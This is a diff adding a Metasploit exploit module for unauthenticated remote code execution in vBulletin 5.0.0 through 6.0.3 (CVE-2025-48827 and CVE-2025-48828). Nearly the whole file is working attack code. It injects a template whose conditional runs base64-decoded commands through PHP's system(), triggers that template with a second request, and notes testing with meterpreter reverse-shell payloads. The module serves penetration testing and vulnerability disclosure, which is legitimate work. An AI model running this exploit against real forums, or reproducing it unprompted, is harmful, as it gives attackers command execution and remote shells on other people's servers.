|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + prepend Msf::Exploit::Remote::AutoCheck |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super( |
| 14 | + update_info( |
| 15 | + info, |
| 16 | + 'Name' => 'vBulletin replaceAdTemplate Remote Code Execution', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a design flaw in vBulletin's AJAX API handler and template rendering system, |
| 19 | + present in versions 5.0.0 through 6.0.3. The vulnerability allows unauthenticated attackers |
| 20 | + to invoke protected controller methods via the ajax/api/ad/replaceAdTemplate endpoint, |
| 21 | + due to improper use of PHP's Reflection API in combination with changes in PHP 8.1+. |
| 22 | +
|
| 23 | + Specifically, it targets the vB_Api_Ad::replaceAdTemplate() method to inject a template |
| 24 | + containing a <vb:if> conditional that evaluates attacker-supplied PHP using the |
| 25 | + "system"($_POST[<param>]) construct. The malicious template is then executed via |
| 26 | + a second unauthenticated request to ajax/render/ad_<location>. |
| 27 | +
|
| 28 | + Successful exploitation results in arbitrary command execution as the webserver user, |
| 29 | + without authentication. This module supports payloads for PHP, Linux, and Windows. |
| 30 | +
|
| 31 | + Tested against vBulletin 5.1.0, 5.7.5, 6.0.1, and 6.0.3 running on PHP 8.1. |
| 32 | + }, |
| 33 | + 'Author' => [ |
| 34 | + 'Egidio Romano (EgiX)', # original PoC |
| 35 | + 'Valentin Lobstein' # Metasploit module |
| 36 | + ], |
| 37 | + 'References' => [ |
| 38 | + ['URL', 'https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce'], |
| 39 | + ['CVE', '2025-48827'], |
| 40 | + ['CVE', '2025-48828'] |
| 41 | + ], |
| 42 | + 'License' => MSF_LICENSE, |
| 43 | + 'Platform' => %w[unix linux windows], |
| 44 | + 'Arch' => [ARCH_CMD], |
| 45 | + 'Targets' => [ |
| 46 | + [ |
| 47 | + 'Unix/Linux Command Shell', |
| 48 | + { |
| 49 | + 'Platform' => %w[unix linux], |
| 50 | + 'Arch' => ARCH_CMD |
| 51 | + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp |
| 52 | + } |
| 53 | + ], |
| 54 | + [ |
| 55 | + 'Windows Command Shell', |
| 56 | + { |
| 57 | + 'Platform' => 'win', |
| 58 | + 'Arch' => ARCH_CMD |
| 59 | + # tested with cmd/windows/http/x64/meterpreter/reverse_tcp |
| 60 | + } |
| 61 | + ], |
| 62 | + ], |
| 63 | + 'DefaultTarget' => 0, |
| 64 | + 'DisclosureDate' => '2025-05-23', |
| 65 | + 'Notes' => { |
| 66 | + 'Stability' => [CRASH_SAFE], |
| 67 | + 'Reliability' => [REPEATABLE_SESSION], |
| 68 | + 'SideEffects' => [IOC_IN_LOGS] |
| 69 | + } |
| 70 | + ) |
| 71 | + ) |
| 72 | + end |
| 73 | + |
| 74 | + def check |
| 75 | + vprint_status("Starting vulnerability check on #{rhost}:#{rport}#{target_uri.path}") |
| 76 | + inject_and_trigger(:check) ? CheckCode::Vulnerable : CheckCode::Safe |
| 77 | + end |
| 78 | + |
| 79 | + def exploit |
| 80 | + inject_and_trigger(:exploit, payload: payload.encoded) |
| 81 | + end |
| 82 | + |
| 83 | + def inject_and_trigger(mode, payload: nil) |
| 84 | + marker, location, param = Array.new(3) { Rex::Text.rand_text_alpha(5, 8) } |
| 85 | + pattern = /string\(#{marker.length}\) "#{marker}"/ |
| 86 | + |
| 87 | + vprint_status("Generating random marker and condition for mode #{mode}") |
| 88 | + if mode == :check |
| 89 | + condition = %{"var_dump"("#{marker}")} |
| 90 | + trigger_value = Rex::Text.encode_base64(marker) |
| 91 | + else |
| 92 | + encoded_payload = Rex::Text.encode_base64(payload) |
| 93 | + # Sadly we can't use `eval()` here as it's a language construct and we need a proper function. |
| 94 | + condition = %{"system"("base64_decode"("#{encoded_payload}"))} |
| 95 | + end |
| 96 | + |
| 97 | + template = "<vb:if condition='#{condition}'></vb:if>" |
| 98 | + |
| 99 | + vprint_status("Sending POST to ajax/api/ad/replaceAdTemplate (location=#{location})") |
| 100 | + inj = send_request_cgi( |
| 101 | + 'method' => 'POST', |
| 102 | + 'uri' => normalize_uri(target_uri.path), |
| 103 | + 'vars_post' => { |
| 104 | + 'routestring' => 'ajax/api/ad/replaceAdTemplate', |
| 105 | + 'styleid' => '1', # Can't randomize this value |
| 106 | + 'location' => location, |
| 107 | + 'template' => template |
| 108 | + } |
| 109 | + ) |
| 110 | + |
| 111 | + if mode == :check |
| 112 | + return true if handle_check_response(inj, pattern, 'injection') |
| 113 | + |
| 114 | + render_vars = { 'routestring' => "ajax/render/ad_#{location}" } |
| 115 | + render_vars[param] = trigger_value |
| 116 | + |
| 117 | + vprint_status("Sending POST to ajax/render/ad_#{location} to trigger execution") |
| 118 | + render = send_request_cgi( |
| 119 | + 'method' => 'POST', |
| 120 | + 'uri' => normalize_uri(target_uri.path), |
| 121 | + 'vars_post' => render_vars |
| 122 | + ) |
| 123 | + return handle_check_response(render, pattern, 'trigger') |
| 124 | + end |
| 125 | + |
| 126 | + true |
| 127 | + end |
| 128 | + |
| 129 | + def handle_check_response(response, pattern, stage) |
| 130 | + vprint_status("#{stage.capitalize} response: HTTP #{response&.code}") |
| 131 | + unless response&.code == 200 |
| 132 | + vprint_error("#{stage.capitalize} request failed (HTTP #{response&.code || 'nil'})") |
| 133 | + return false |
| 134 | + end |
| 135 | + if response.body.match?(pattern) |
| 136 | + vprint_good("Marker found in #{stage} response body") |
| 137 | + true |
| 138 | + else |
| 139 | + vprint_error("Marker not found in #{stage} response body") |
| 140 | + false |
| 141 | + end |
| 142 | + end |
| 143 | +end |
0 commit comments